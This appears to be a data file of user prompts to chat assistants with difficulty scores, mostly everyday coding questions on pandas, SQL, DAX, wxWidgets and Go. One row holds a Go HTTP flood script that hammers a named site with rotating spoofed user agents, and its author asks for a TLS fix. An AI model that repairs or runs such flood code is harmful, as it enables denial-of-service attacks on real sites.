row_id int64 0 48.4k | init_message stringlengths 1 342k | conversation_hash stringlengths 32 32 | scores dict |
|---|---|---|---|
17,582 | use python to calculate l2 distance between 2 points | 08199c9c952af433c693f32365d381b1 | {
"intermediate": 0.3475792706012726,
"beginner": 0.2922842502593994,
"expert": 0.3601365089416504
} |
17,583 | How to call the vendor specified libGL library for glvnd libGL.so | 7d7faf93b9a7945567dbeb5eb24eb0e0 | {
"intermediate": 0.714704692363739,
"beginner": 0.14128223061561584,
"expert": 0.14401304721832275
} |
17,584 | how to use python calculates the sum of tensors to a specified dimension,the input is a nested list。can not use numpy | 7482f3b8f0e35cc5d04c713a3d5c1a80 | {
"intermediate": 0.43353405594825745,
"beginner": 0.13977424800395966,
"expert": 0.4266916811466217
} |
17,585 | @Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(webInterceptorHandler) //用于添加你自定义的拦截器实例
.excludePathPatterns("/user/getUserPublicInfo") //用于添加不需要拦截的url,可以写多个。
.excludePathPatterns("/user/noAuth")
.addPathPatterns("/**"); //用于添加要拦截的url,可以写多个。/**表示需要拦截所有请求
}
@RequestMapping("/")
String home() {
return "Hello World!";
} | 08895aedd134d1e2eb63d170da577d21 | {
"intermediate": 0.36064720153808594,
"beginner": 0.37757357954978943,
"expert": 0.26177912950515747
} |
17,586 | Implement K-means clustering from scratch on this dataset. Initialize the following two cluster centers:
μ1 = (0,0) , μ2 = (0,0) ,
and run for 10 iterations. import matplotlib.pyplot as plt
import numpy as np
from sklearn import datasets
X, y = datasets.make_circles(n_samples=200, factor=0.4, noise=0.04, random_state=13)
colors = np.array(['orange', 'blue'])
np.random.seed(123)
# Implement K-means clustering here
plt.scatter(X[:, 0], X[:, 1], s=20, color=colors[random_labeling])
plt.title("Randomly Labelled Points")
plt.savefig("Randomly_Labeled.png")
plt.show() | cd97d876779b76cf25d646cac9675907 | {
"intermediate": 0.3703038990497589,
"beginner": 0.16750894486904144,
"expert": 0.46218717098236084
} |
17,587 | Invalid options in vue.config.js: "server" is not allowed | 33a2cd6b6f5ac14d606e82fd324f5cca | {
"intermediate": 0.5052798390388489,
"beginner": 0.2317667156457901,
"expert": 0.26295340061187744
} |
17,588 | prompt = input("Would you like to continue polling? (yes/no): ")
if prompt == 'no':
polling_active = False
else:
while prompt != 'yes' or 'no':
prompt = input("Invalid response detected. Please enter yes or no: ")
Why does not work even when I put yes or no in python? | 27959a4361879036992194b5bd301bd3 | {
"intermediate": 0.4203033149242401,
"beginner": 0.3090078830718994,
"expert": 0.27068883180618286
} |
17,589 | 写一段代码验证一维高斯分布的最大似然估计是合理的。思路是:sigma**2的误差becomes smaller as n becomes larger,计算sigma**2 for increasing sample sizes | 4dadd92cf1a95bab6e067fbfcc78bf3e | {
"intermediate": 0.2988640069961548,
"beginner": 0.2536191940307617,
"expert": 0.4475167989730835
} |
17,590 | poll = {}
polling_active = True
while polling_active == True:
name = input("\nWhat is your name?: ")
poll[name] = ''
while name in poll.keys():
name = input(f"{name.title()}, you can only answer the poll once")
if name not in poll.keys():
poll[name] = ''
break
location = input(f"{name.title()}, if you could visit one place in the world, where would you go?: ")
poll[name] = location
prompt = input("Would you like to continue polling? (yes/no): ")
while prompt != 'yes' and prompt != 'no':
prompt = input("Invalid response detected, please enter yes or no: ")
if prompt == 'no':
break
Can you detect any problems with this python code? | d3be6a818b5348c2f40c58c29a73b406 | {
"intermediate": 0.46566617488861084,
"beginner": 0.32132411003112793,
"expert": 0.21300970017910004
} |
17,591 | Create SQL query to find the latest entry based on timestamp | df8963d40961192a6c93a997a3a54fa1 | {
"intermediate": 0.4811954200267792,
"beginner": 0.2576446235179901,
"expert": 0.2611599266529083
} |
17,592 | import pandas as pd
from tkinter import Tk
from tkinter.filedialog import askopenfilenames
import os
# Open a Tk window
Tk().withdraw()
# Prompt the user to select input files
input_files = askopenfilenames(title="Select input files", filetypes=[("Excel Files", "*.xlsx")])
# Prompt the user to select the “Staff Gl Mapping.xlsx” file
mapping_file = askopenfilenames(title="Select Staff Gl Mapping file", filetypes=[("Excel Files", ".xlsx")])
# Prompt the user to select the “Employees Details Report old.xlsx” file
employees_file = askopenfilenames(title="Select Employees Details Report file", filetypes=[("Excel Files", ".xlsx")])
# Read the mapping file
mapping_df = pd.read_excel(mapping_file[0])
# Read the employees details file
employees_df = pd.read_excel(employees_file[0])
# Create an empty dataframe to store merged data
merged_df = pd.DataFrame()
#Read and merge the input files
for file in input_files:
df = pd.read_excel(file)
df["Project Description"] = df["Name"].str.split("|").str[2]
df["Worker Name"] = df["Name"].str.split("|").str[4]
df["Current"] = df["Debit"] - df["Credit"]
df = df.rename(columns={"Closing balance": "Cumulative"})
file_name, _ = os.path.splitext(os.path.basename(file))
df["Date"] = file_name
merged_df = pd.concat([merged_df, df])
# Merge with the mapping file based on “Main account” column
merged_df = pd.merge(merged_df, mapping_df[["Main account", "Name y"]], left_on="MainAccount", right_on="Main account", how="left")
#merged_df = pd.concat([merged_df, df])
#merged_df = pd.concat([merged_df.reset_index(drop=True), df.reset_index(drop=True)], ignore_index=True)
# Merge with the employees details file based on “Worker Name” and “Personal Number” columns
merged_df = pd.merge(merged_df, employees_df[["Worker Name", "Position", "Description_4"]], on=["Worker Name"], how="left")
# Remove the unwanted columns
unwanted_cols = ["MainAccount", "Division", "Site", "Name", "Opening balance", "Main account"]
merged_df = merged_df.drop(columns=unwanted_cols)
# Rename the columns
print(merged_df.index)
merged_df = merged_df.rename(columns={
"Projects": "Project ID",
"Worker": "Worker ID",
"Name y": "Name",
"Description_4": "Project",
"Position_y": "Position"
})
# Reorder the columns
new_order = ["Project ID", "Project Description", "Date", "Worker ID", "Worker Name", "Name", "Current", "Cumulative", "Position", "Project"]
merged_df = merged_df[new_order]
# Write the merged dataframe to an output Excel file
output_file = "merged_data.xlsx"
merged_df.to_excel(output_file, index=False)
print("Merged dataframe has been written to", output_file) | 233e9d0b18ae5338abf70e7239f99fe4 | {
"intermediate": 0.3526390790939331,
"beginner": 0.386808842420578,
"expert": 0.2605520486831665
} |
17,593 | I dont need the code "employees_df = employees_df.groupby(“Worker Name”)[“Position”].apply(lambda x: ", “.join(str(x))).reset_index()
employees_df = employees_df.drop_duplicates(subset=[“Worker Name”, “Position”])”, instead i just need to merge the position values if there are duplicates for Worker Name | 09e99d85631508b3c4b399a87f0dbcec | {
"intermediate": 0.38782021403312683,
"beginner": 0.3000103235244751,
"expert": 0.31216955184936523
} |
17,594 | How to disable colors in vim? | 530bcb1fe2614d17507a5ddb0abac89b | {
"intermediate": 0.3351993262767792,
"beginner": 0.22162391245365143,
"expert": 0.4431767165660858
} |
17,595 | How can I get strings number in wchar_t** in C? | 714ce7d6b04f408f19f94a584ec7f5bd | {
"intermediate": 0.46392253041267395,
"beginner": 0.24321460723876953,
"expert": 0.2928628623485565
} |
17,596 | Take f(x) = 0.3sin(x3) and ε ∼ N(0,σ2) where σ = 0.3. Generate n = 20 samples from this model and fit a kNN-regression model with k ranging from 1 to 20. Provide a 5×4 grid of plots showing the performance of the kNN model for that choice of k. In each of your sub-plots, plot the samples as well as the true function. You may not use any existing implementations of kNN regression from online sources. | d741940d21cd1476a837a364d47180eb | {
"intermediate": 0.16737064719200134,
"beginner": 0.11459402740001678,
"expert": 0.7180352807044983
} |
17,597 | Adjust this sql query to show the latest message for each name
Select max(timestamp), message, name from table where name in ('Tom','Jones') and timestamp> DATEADD(DD,-1,GETDATE()) group by message, name | 982a14dcc267ee8b22fd9b7bd74a0f8c | {
"intermediate": 0.4759260416030884,
"beginner": 0.2256537675857544,
"expert": 0.2984201908111572
} |
17,598 | In a c++ wxwidgets I have a frame with a vector of objects assigned to a grid, and I created a new friend that create new objects. I created the second frame inside the other but I don't know how can I pass or return the newly created object so it can be added to the vector. Can I use events? If so give me na example | 230923e0e57e0b9717d3feb6f6fedcb6 | {
"intermediate": 0.7593305110931396,
"beginner": 0.11998669058084488,
"expert": 0.12068276107311249
} |
17,599 | In a c++ wxwidgets project, how can I return an object from the parent frame to its child | b26571615921d3080fd2427750d0546b | {
"intermediate": 0.728608250617981,
"beginner": 0.16751958429813385,
"expert": 0.10387212038040161
} |
17,600 | how can i multithread my go program? | 6bc2ed67911971b12ad5148fac90e502 | {
"intermediate": 0.37392762303352356,
"beginner": 0.13462699949741364,
"expert": 0.4914453327655792
} |
17,601 | Traceback (most recent call last):
File "c:\Users\Dell\Desktop\Desktop Files\ERP\Merge Files Task\mergefiles_interactive.py", line 45, in <module>
merged_df = pd.merge(merged_df, employees_df[["Personal Number", "Position", "Description_4"]], on=["Worker"], how="left")
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\Dell\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\LocalCache\local-packages\Python311\site-packages\pandas\core\reshape\merge.py", line 148, in merge
op = _MergeOperation(
^^^^^^^^^^^^^^^^
File "C:\Users\Dell\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\LocalCache\local-packages\Python311\site-packages\pandas\core\reshape\merge.py", line 737, in __init__
) = self._get_merge_keys()
^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\Dell\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\LocalCache\local-packages\Python311\site-packages\pandas\core\reshape\merge.py", line 1203, in _get_merge_keys
right_keys.append(right._get_label_or_level_values(rk))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\Dell\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\LocalCache\local-packages\Python311\site-packages\pandas\core\generic.py", line 1778, in _get_label_or_level_values
raise KeyError(key)
KeyError: 'Worker' | b2e183e872892641f4404a555b54ad1d | {
"intermediate": 0.45368748903274536,
"beginner": 0.3014591336250305,
"expert": 0.2448534220457077
} |
17,602 | psst | 1f075e30b9b3a238d4bd02b54d2b81db | {
"intermediate": 0.30019497871398926,
"beginner": 0.3791854679584503,
"expert": 0.32061949372291565
} |
17,603 | how can i make a random choice from an array in go? | 661aa81f99d56d2d02fbd313eb86feeb | {
"intermediate": 0.39805006980895996,
"beginner": 0.1569536328315735,
"expert": 0.44499626755714417
} |
17,604 | I make a new opencart module. I want to make a install.xml to instruct the installation process to upload all the required files. how to do? | a4bc1ce1248681ad1b49dd860ae48caf | {
"intermediate": 0.47836536169052124,
"beginner": 0.215952530503273,
"expert": 0.30568215250968933
} |
17,605 | I made it use TLS but it still says that the client certificate isnt verified, whats the issue and can you give an example.
package main
import (
"crypto/tls"
"net/http"
"math/rand"
"fmt"
)
func httpFlood(UAs []string) {
transport := &http.Transport{
TLSClientConfig: &tls.Config{
ClientAuth: tls.RequireAndVerifyClientCert,
},
}
client := &http.Client{
Transport: transport,
}
for {
url := "https://se1zed.cc"
UA := UAs[rand.Intn(len(UAs))]
req, _ := http.NewRequest("GET", url, nil)
req.Header.Set("User-Agent", UA)
client.Do(req)
fmt.Println("wtfff")
}
}
func main() {
userAgents := []string{
"Dalvik/1.6.0 (Linux; U; Android 4.1.1; NX008HD8G Build/JRO03C)",
"Mozilla/5.0 (Linux; Android 10; SM-A107F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4168.1 Safari/537.36",
"Dalvik/1.6.0 (Linux; U; Android 4.2.2; CX_718 Build/JDQ39)",
"Mozilla/5.0 (Linux; Android 8.1.0; C210AE Build/O11019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/68.0.3440.91 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 6.0; Lenovo TB3-850M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.101 Safari/537.36",
"Mozilla/5.0 (Linux; Android 9; Redmi Note 8T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.110 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 7.0; itel S41) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Mobile Safari/537.36",
"Dalvik/2.1.0 (Linux; U; Android 10; 706SH Build/S2005)",
"Mozilla/5.0 (Linux; arm; Android 9; SM-J415FN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 YaApp_Android/10.92 YaSearchBrowser/10.92 BroPP/1.0 SA/1 Mobile Safari/537.36",
}
threads := 1 // Localhost - 3, External - any
for i := 0; i < threads - 1; i++ {
go httpFlood(userAgents)
}
httpFlood(userAgents)
}; | 853caf210eadf085f39e1b4af4930df4 | {
"intermediate": 0.3066127598285675,
"beginner": 0.48790377378463745,
"expert": 0.20548352599143982
} |
17,606 | poll = {}
polling_active = True
while polling_active:
name = input("\nWhat is your name?: ")
location = input(f"{name.title()}, if you could visit one place in the world, where would you go?: ")
poll[name] = location
prompt = input("Would you like to continue polling? (yes/no): ")
while prompt != 'yes' and prompt != 'no':
prompt = input("Invalid response detected, please enter yes or no: ")
if prompt == 'no':
polling_active = False
elif prompt == 'yes':
break
while polling_active:
name = input("\nWhat is your name?: ")
while name in poll.keys():
name = input(f"{name.title()}, you can only answer the poll once \nWhat is your name?: ")
if name not in poll.keys():
break
location = input(f"{name.title()}, if you could visit one place in the world, where would you go?: ")
poll[name] = location
prompt = input("Would you like to continue polling? (yes/no): ")
while prompt != 'yes' and prompt != 'no':
prompt = input("Invalid response detected, please enter yes or no: ")
if prompt == 'no':
polling_active = False
Here is a snippet of my python code. As you can see there are 2 main while loops. Is there a way to put the 2nd while loop in the first one? | e09c3312cfc52aa6e4d3e503a1e03cc3 | {
"intermediate": 0.37790364027023315,
"beginner": 0.3564110994338989,
"expert": 0.2656852602958679
} |
17,607 | import jqdata
from jqlib.technical_analysis import *
from jqdata import *
import warnings
# 初始化函数
def initialize(context):
# 滑点高(不设置滑点的话用默认的0.00246)
set_slippage(FixedSlippage(0.02))
# 国证A指数作为基准
set_benchmark('399317.XSHE')
# 用真实价格交易
set_option('use_real_price', True)
set_option("avoid_future_data", True)
# 过滤order中低于error级别的日志
log.set_level('order', 'error')
warnings.filterwarnings("ignore")
# 选股参数
g.stock_num = 5 # 持仓数
g.position = 1 # 仓位
g.bond = '511880.XSHG'
# 手续费
set_order_cost(OrderCost(close_tax=0.001, open_commission=0.0005, close_commission=0.0005, min_commission=5), type='stock')
# 设置交易时间
#run_weekly(my_trade, weekday=4, time='9:45', reference_security='000852.XSHG')
run_monthly(my_trade, monthday=-4, time='11:30', reference_security='000852.XSHG')
# 开盘时运行函数
def my_trade(context):
# 获取选股列表并过滤掉:st,st*,退市,涨停,跌停,停牌
check_out_list = get_stock_list(context)
log.info('今日自选股:%s' % check_out_list)
adjust_position(context, check_out_list)
# 2-2 选股模块
# 选出资产负债率后20%且大于0,优质资产周转率前20%,roa改善最多的股票列表
def get_stock_list(context):
# type: (Context) -> list
curr_data = get_current_data()
yesterday = context.previous_date
df_stocknum = pd.DataFrame(columns=['当前符合条件股票数量'])
# 过滤次新股
#by_date = yesterday
#by_date = datetime.timedelta(days=1200)
by_date = yesterday - datetime.timedelta(days=1200) # 三年
initial_list = get_all_securities(date=by_date).index.tolist()
# 0. 过滤创业板,科创板,st,今天涨跌停的,停牌的
initial_list = [stock for stock in initial_list if not (
(curr_data[stock].day_open == curr_data[stock].high_limit) or
(curr_data[stock].day_open == curr_data[stock].low_limit) or
curr_data[stock].paused
#curr_data[stock].is_st
#('ST' in curr_data[stock].name) or
#('*' in curr_data[stock].name)
#('退' in curr_data[stock].name) or
#(stock.startswith('300')) or
#(stock.startswith('688')) or
#(stock.startswith('002'))
)]
df_stocknum = df_stocknum.append({'当前符合条件股票数量': len(initial_list)}, ignore_index=True)
# 1,选出资产负债率由高到低后70%的,low_liability_list
df = get_fundamentals(
query(
balance.code, balance.total_liability, balance.total_assets
#balance.code, balance.total_non_current_liability,balance.total_non_current_assets
).filter(
valuation.code.in_(initial_list)
)
).dropna()
#
df = df.fillna(0)
df['ratio'] = df['total_liability'] / df['total_assets'] # 资产负债率
df = df.sort_values(by = 'ratio',ascending=False)
low_liability_list = list(df.code)[int(0.3*len(list(df.code))):]
df_stocknum = df_stocknum.append({'当前符合条件股票数量': len(low_liability_list)}, ignore_index=True)
# 2,从low_liability_list中选出不良资产比率在总体中[20%-80%]范围内的的股票,proper_receivable_list
df1 = get_fundamentals(
query(balance.code,
balance.total_assets, # 总资产
balance.bill_receivable, # 应收票据
balance.account_receivable, # 应收账款
balance.other_receivable, # 其他应收款
balance.good_will, # 商誉
balance.intangible_assets, # 无形资产
balance.inventories, # 存货
balance.constru_in_process,# 在建工程
).filter(
balance.code.in_(low_liability_list)
)
).dropna()
df1 = df1.fillna(0)
df1['bad_assets'] = df1.sum(axis=1) - df1['total_assets'] # 其中bad_assets占的比例
df1['ratio1'] = df1['bad_assets'] / df1['total_assets']
df1 = df1.sort_values(by = 'ratio1',ascending=False)
proper_receivable_list = list(df1.code)[int(0.1*len(list(df1.code))):int(0.9*len(list(df1.code)))]
df_stocknum = df_stocknum.append({'当前符合条件股票数量': len(proper_receivable_list)}, ignore_index=True)
# 3,从proper_receivable_list中选出优质资产周转率前75%的公司,proper_receivable_list1
df2 = get_fundamentals(
query(balance.code,
balance.total_assets, # 总资产
balance.bill_receivable, # 应收票据
balance.account_receivable, # 应收账款
balance.other_receivable, # 其他应收款
balance.good_will, # 商誉
balance.intangible_assets, # 无形资产
balance.inventories, # 存货
balance.constru_in_process,# 在建工程
income.total_operating_revenue# 营业收入
).filter(
balance.code.in_(proper_receivable_list)
)
).dropna()
df2 = df2.fillna(0)
df2['good_assets'] = df2['total_assets'] - (df2.sum(axis=1) - df2['total_assets'] - df2['total_operating_revenue']) # 其中bad_assets占的比例
df2['ratio2'] = df2['total_operating_revenue'] / df2['good_assets']
df2 = df2.sort_values(by = 'ratio2',ascending=False)
proper_receivable_list1 = list(df2.code)[:int(0.75*len(list(df2.code)))]
df_stocknum = df_stocknum.append({'当前符合条件股票数量': len(proper_receivable_list1)}, ignore_index=True)
# 4,从proper_receivable_list1中过去十二个季度ROA增长最多(前20%)的股票,按照ROA`增长量降序排列,roa_list
df3 = get_history_fundamentals(
proper_receivable_list1,
fields=[indicator.code, indicator.roa],
watch_date=yesterday,
count=4,
interval='1q'
).dropna()
s_delta_avg = df3.groupby('code')['roa'].apply(
lambda x: x.iloc[3] - x.mean() if len(x) == 4 else 0.0
#lambda x: x.iloc[11] - x.mean() if len(x) == 12 else 0.0
).sort_values(
ascending=False
)
roa_list = list(s_delta_avg[:int(0.2 * len(s_delta_avg))].index)
df_stocknum = df_stocknum.append({'当前符合条件股票数量': len(roa_list)}, ignore_index=True)
'''
# 4,从proper_receivable_list1中过去十二个季度ROA增长最多(前20%)的股票,按照ROA`增长量降序排列,roa_list
df3 = get_history_fundamentals(
proper_receivable_list1,
fields=[indicator.code,
income.total_profit, # 净利润
balance.total_assets, # 总资产
balance.bill_receivable, # 应收票据
balance.account_receivable, # 应收账款
balance.other_receivable, # 其他应收款
balance.good_will, # 商誉
balance.intangible_assets, # 无形资产
balance.inventories, # 存货
balance.constru_in_process# 在建工程
],
watch_date=yesterday,
count=4,
interval='1q'
).dropna()
df3['ratio3'] = df3['total_profit'] / (df3['total_assets'] - (df3.sum(axis=1) - df3['total_assets'] - df3['total_profit']))
s_delta_avg = df3.groupby('code')['ratio3'].apply(
lambda x: x.iloc[3] - x.mean() if len(x) == 4 else 0.0
#lambda x: x.iloc[11] - x.mean() if len(x) == 12 else 0.0
).sort_values(
ascending=False
)
'''
# 5.从过去五个季度ROA增长量前20%的股票中选出市净率大于0的按照资产负债率升序排列选出前g.stock_num个,final_list
pb_list = get_fundamentals(
query(
valuation.code
).filter(
valuation.code.in_(roa_list),
#valuation.pb_ratio < 2,
valuation.pb_ratio > 0.7,
valuation.ps_ratio < 3,
#valuation.ps_ratio > 0
#indicator.ocf_to_operating_profit > 1,
#indicator.eps > 0
#indicator.roa
).order_by(
valuation.pb_ratio.asc()
#indicator.eps.desc()
#valuation.circulating_market_cap.desc()
)
)['code'].tolist()
indicator.ocf_to_operating_profit
df_stocknum = df_stocknum.append({'当前符合条件股票数量': len(pb_list)}, ignore_index=True)
print(df_stocknum)
final_list = pb_list[:g.stock_num]
return final_list
'''
last_list = pb_list[:g.stock_num]
df_stock = pd.DataFrame(columns=['指数代码', '周期动量'])
unit=g.unit
BBI2 = BBI(last_list, check_date=context.current_dt, timeperiod1=3, timeperiod2=6, timeperiod3=12, timeperiod4=24,unit=unit,include_now=True)
for stock in last_list:#运行中的指数
df_close = get_bars(stock, 1, unit, ['close'], end_dt=context.current_dt,include_now=True,)['close']
#读取index当天的收盘价
val = BBI2[stock]/df_close[0]#BBI除以交易当天11:15分的价格,大于1表示空头,小于1表示多头
df_stock = df_stock.append({'股票代码': stock, '周期动量': val}, ignore_index=True)#将数据写入df_index表格,索引重置
#按'周期动量'进行从大到小的排列。ascending=true表示降序排列,ascending=false表示升序排序,inplace = True:不创建新的对象,直接对原始对象进行修改
df_stock.sort_values(by='周期动量', ascending=False, inplace=True)
final_list = df_stock['股票代码'].iloc[-1]#读取最后一行的股票代码
return final_list
'''
def adjust_position(context, buy_stocks):
#order_value(g.bond,context.portfolio.available_cash)
for stock in context.portfolio.positions:
if stock not in buy_stocks:
order_target(stock, 0)
#
position_count = len(context.portfolio.positions)
if g.stock_num > position_count:
value = context.portfolio.cash * g.position / (g.stock_num - position_count)
for stock in buy_stocks:
if stock not in context.portfolio.positions:
order_target_value(stock, value)
if len(context.portfolio.positions) == g.stock_num:
break | 47f012d34b21bfe94bb5b3607fb2cb4a | {
"intermediate": 0.30368420481681824,
"beginner": 0.38065648078918457,
"expert": 0.3156592845916748
} |
17,608 | I am making an app that needs to be extremely lightweight, but it would be pretty convenient if it could somehow use my massive list of user agents.
I have 3 options for what i see:
1. I make an api that hands out x ammount of user agents when needed
2. I hardcode a very small list into the actual program
3. I download the list on install and store it somewhere, what do you think would be the best? I think the api would be since I dont need so many user agents at a time and I'd rather not store them on their computer. | 6893d28874f7bf6e0a0ace03de0adeef | {
"intermediate": 0.5179070234298706,
"beginner": 0.24795909225940704,
"expert": 0.23413388431072235
} |
17,609 | I have a table with the following columns Date, A, C, D, Payer, SCU. Write the DAX expression for calculated column if required to find the sum of A, the sum of C, the sum of D for unique Payer, SCU, and month to which Date belongs and then calculate (A-B)/C. | e805581316bb2b9e780eaccfdc593e1f | {
"intermediate": 0.35264840722084045,
"beginner": 0.21031397581100464,
"expert": 0.4370375871658325
} |
17,610 | select app.APPListID,
app.APPName,
app.xorder,
app.ReportToAPPListID,
appb.APPName as ReportToAPPListName,
app.APIaddress,
app.TokenType,
app.define1,
app.define2,
app.isRoleManage,
app.isdisabled,
app.IconName,
app.BadgeOrAD,
case when app.IsNoTitleNav =0 then 'false' else 'true' end as IsNoTitleNav,
app.IsNoAppLog,
case when EXISTS(SELECT 0 FROM ZM_AppFolderUser a where a.UserBadge=N'614802' and a.AppListId=app.AppListId ) then 'icon-jianhaob' else 'icon-jiahao2' end as IsNoUserlike
from zm_APPFolder app(nolock)
left join zm_APPFolder appb on app.ReportToAPPListID=appb.APPListID
left join ZM_Language la(nolock) on la.System='Mobile' and la.Module='ZM_AppList' and la.[Page]=N'AppName' and la.Field = app.AppName
left join ZM_Language ls(nolock) on ls.System='Mobile' and ls.Module='ZM_AppList' and ls.[Page]=N'System' and ls.Field = appb.AppName
where isnull(app.isdisabled,0)=0
and isnull(appb.isdisabled,0)=0
and app.ListGrade=N'二级'
and ( isnull(app.isRoleManage,'no') ='no' ---是否该目录有权限管控,=NO 指的全员开放
or ( isnull(app.isRoleManage,'no') ='yes' ---识别有权限的目录,然后结合三种管控方式进行识别是否具备权限
and exists (
Select 1 from ZM_APPFolderRole(nolock) where RoleType=N'User' and RoleValue=N'614802' and isnull(isdisabled,0)=0 and app.ApplistID=ZM_APPFolderRole.ApplistID
union
Select 1 from ZM_APPFolderRole(nolock)
where RoleType=N'Group'
and (
exists (Select GroupID from zm_APPRoleGroup(nolock)
where GroupID in
(
Select GroupID from zm_APPUserGroup_Member(nolock)
where badge=N'614802'
and isnull(isdisabled,0)=0
)
and isnull(isdisabled,0)=0
and zm_APPRoleGroup.GroupID=ZM_APPFolderRole.RoleValue
)
or exists (Select GroupID from zm_APPRoleGroup(nolock)
where GroupID in
(
Select GroupID from zm_APPUserGroup_Member(nolock)
where badge in (
select JobID from eEmployee (nolock) where badge=N'''+@Badge+'''
union select JobID from etPartOrg_All (nolock) where badge=N'''+@Badge+'''
)
and isnull(isdisabled,0)=0
)
and isnull(isdisabled,0)=0
and zm_APPRoleGroup.GroupID=ZM_APPFolderRole.RoleValue
)
)
and isnull(isdisabled,0)=0
and app.ApplistID=ZM_APPFolderRole.ApplistID
union
Select 1 from ZM_APPFolderRole X(nolock),eemployee Y (nolock)
where X.RoleType=N'Org'
and (X.RoleValue = Y.COMPID OR X.RoleValue=Y.DEPID2 OR X.RoleValue=Y.DEPID3 OR X.RoleValue=Y.DEPID4)
AND Y.BADGE = N'614802'
and Y.STATUS <> N'离职'
and isnull(isdisabled,0)=0
and app.ApplistID=X.ApplistID
)
)
)
order by appb.xorder,app.xorder | ba37417f1b022c50c9a812cc23ed353a | {
"intermediate": 0.27529022097587585,
"beginner": 0.4437643587589264,
"expert": 0.28094545006752014
} |
17,611 | There are columns Date, Client, SCU, A, B, C, Q in table1 and Client, Payer in table2. Table1 and table2 are related through Client column. How to write the DAX expression to find the calculated measure to calculate the sum of A, sum of B, sum of C for each unique combination of Payer, SCU, month and year components of Date and then calculate (A-B)/C? It is required to filter rows for those the sum of Q is not zero for each unique combination of Payer, SCU, month and year components of Date | d623861d115ce24458df89e7869e4aef | {
"intermediate": 0.3471769094467163,
"beginner": 0.15780037641525269,
"expert": 0.495022714138031
} |
17,612 | как добавить логику повторных подключений в этот код "@pytest.fixture(scope="function")
def driver():
driver = webdriver.Remote(
command_executor='http://10.88.1.2:4723/wd/hub',
desired_capabilities=desired_caps
)
yield driver
driver.quit()" | 764aa2e8b5c08dd0efa78891db234e94 | {
"intermediate": 0.3351435959339142,
"beginner": 0.41984450817108154,
"expert": 0.2450118511915207
} |
17,613 | import pandas as pd
from tkinter import Tk
from tkinter.filedialog import askopenfilenames
import os
# Open a Tk window
Tk().withdraw()
# Prompt the user to select input files
input_files = askopenfilenames(title="Select input files", filetypes=[("Excel Files", "*.xlsx")])
# Prompt the user to select the “Staff Gl Mapping.xlsx” file
mapping_file = askopenfilenames(title="Select Staff Gl Mapping file", filetypes=[("Excel Files", ".xlsx")])
# Prompt the user to select the “Employees Details Report old.xlsx” file
employees_file = askopenfilenames(title="Select Employees Details Report file", filetypes=[("Excel Files", ".xlsx")])
# Read the mapping file
mapping_df = pd.read_excel(mapping_file[0])
# Read the employees details file
employees_df = pd.read_excel(employees_file[0])
# Skip the first 10 rows of the employees_df
#employees_df = employees_df.iloc[10:]
#employees_df["Position"] = employees_df["Position"].astype(str)
#employees_df = employees_df.drop_duplicates(subset=["Worker Name"])
# Create an empty dataframe to store merged data
merged_df = pd.DataFrame()
#Read and merge the input files
for file in input_files:
df = pd.read_excel(file)
df["Project Description"] = df["Name"].str.split("|").str[2]
df["Worker Name"] = df["Name"].str.split("|").str[4]
df["Current"] = df["Debit"] - df["Credit"]
df = df.rename(columns={"Closing balance": "Cumulative"})
file_name, _ = os.path.splitext(os.path.basename(file))
df["Date"] = file_name
merged_df = pd.concat([merged_df, df])
#To remove unwanted column Name
unwanted_cols = ["Name"]
merged_df = merged_df.drop(columns=unwanted_cols)
# Merge with the mapping file based on “Main account” column
merged_df = pd.merge(merged_df, mapping_df[["Main account", "Name.1"]], left_on="MainAccount", right_on="Main account", how="left")
# Rename the columns
#print(merged_df.index)
merged_df = merged_df.rename(columns={
"Projects": "Project ID",
"Worker": "Worker ID",
"Name.1": "Name",
})
# Merge with the employees details file based on “Worker Name” and “Personal Number” columns
merged_df["Worker ID"] = pd.to_numeric(merged_df["Worker ID"], errors="coerce")
employees_df["Personal Number"] = pd.to_numeric(employees_df["Personal Number"], errors="coerce")
merged_df = pd.merge(merged_df, employees_df[["Personal Number", "Position", "Projects"]], left_on=["Worker ID"],right_on="Personal Number", how="left")
# Remove the unwanted columns
unwanted_cols = ["MainAccount", "Division", "Site", "Opening balance", "Main account"]
merged_df = merged_df.drop(columns=unwanted_cols)
#print(merged_df.index)
# Reorder the columns
new_order = ["Project ID", "Project Description", "Date", "Worker ID", "Worker Name", "Name", "Current", "Cumulative", "Position", "Projects"]
merged_df = merged_df[new_order]
# Write the merged dataframe to an output Excel file
output_file = "merged_data.xlsx"
try:
merged_df.to_excel(output_file, index=False)
# Convert the merged dataframe to a table in Excel
with pd.ExcelWriter(output_file, engine='openpyxl', mode='w') as writer:
merged_df.to_excel(writer, index=False)
writer.sheets['Sheet1'].table_options = {'header_always_visible': True}
print("Merged dataframe has been written to", output_file)
except Exception as e:
print("Error:", e) | defdd6f7a6611933416ce23541bb828c | {
"intermediate": 0.27466195821762085,
"beginner": 0.43115803599357605,
"expert": 0.2941800653934479
} |
17,614 | add to inline price fields from and to, to search the products between the ranges of two price angular | cbe19aff21c0466cbcbbc50470609c83 | {
"intermediate": 0.4357420802116394,
"beginner": 0.19078011810779572,
"expert": 0.3734777867794037
} |
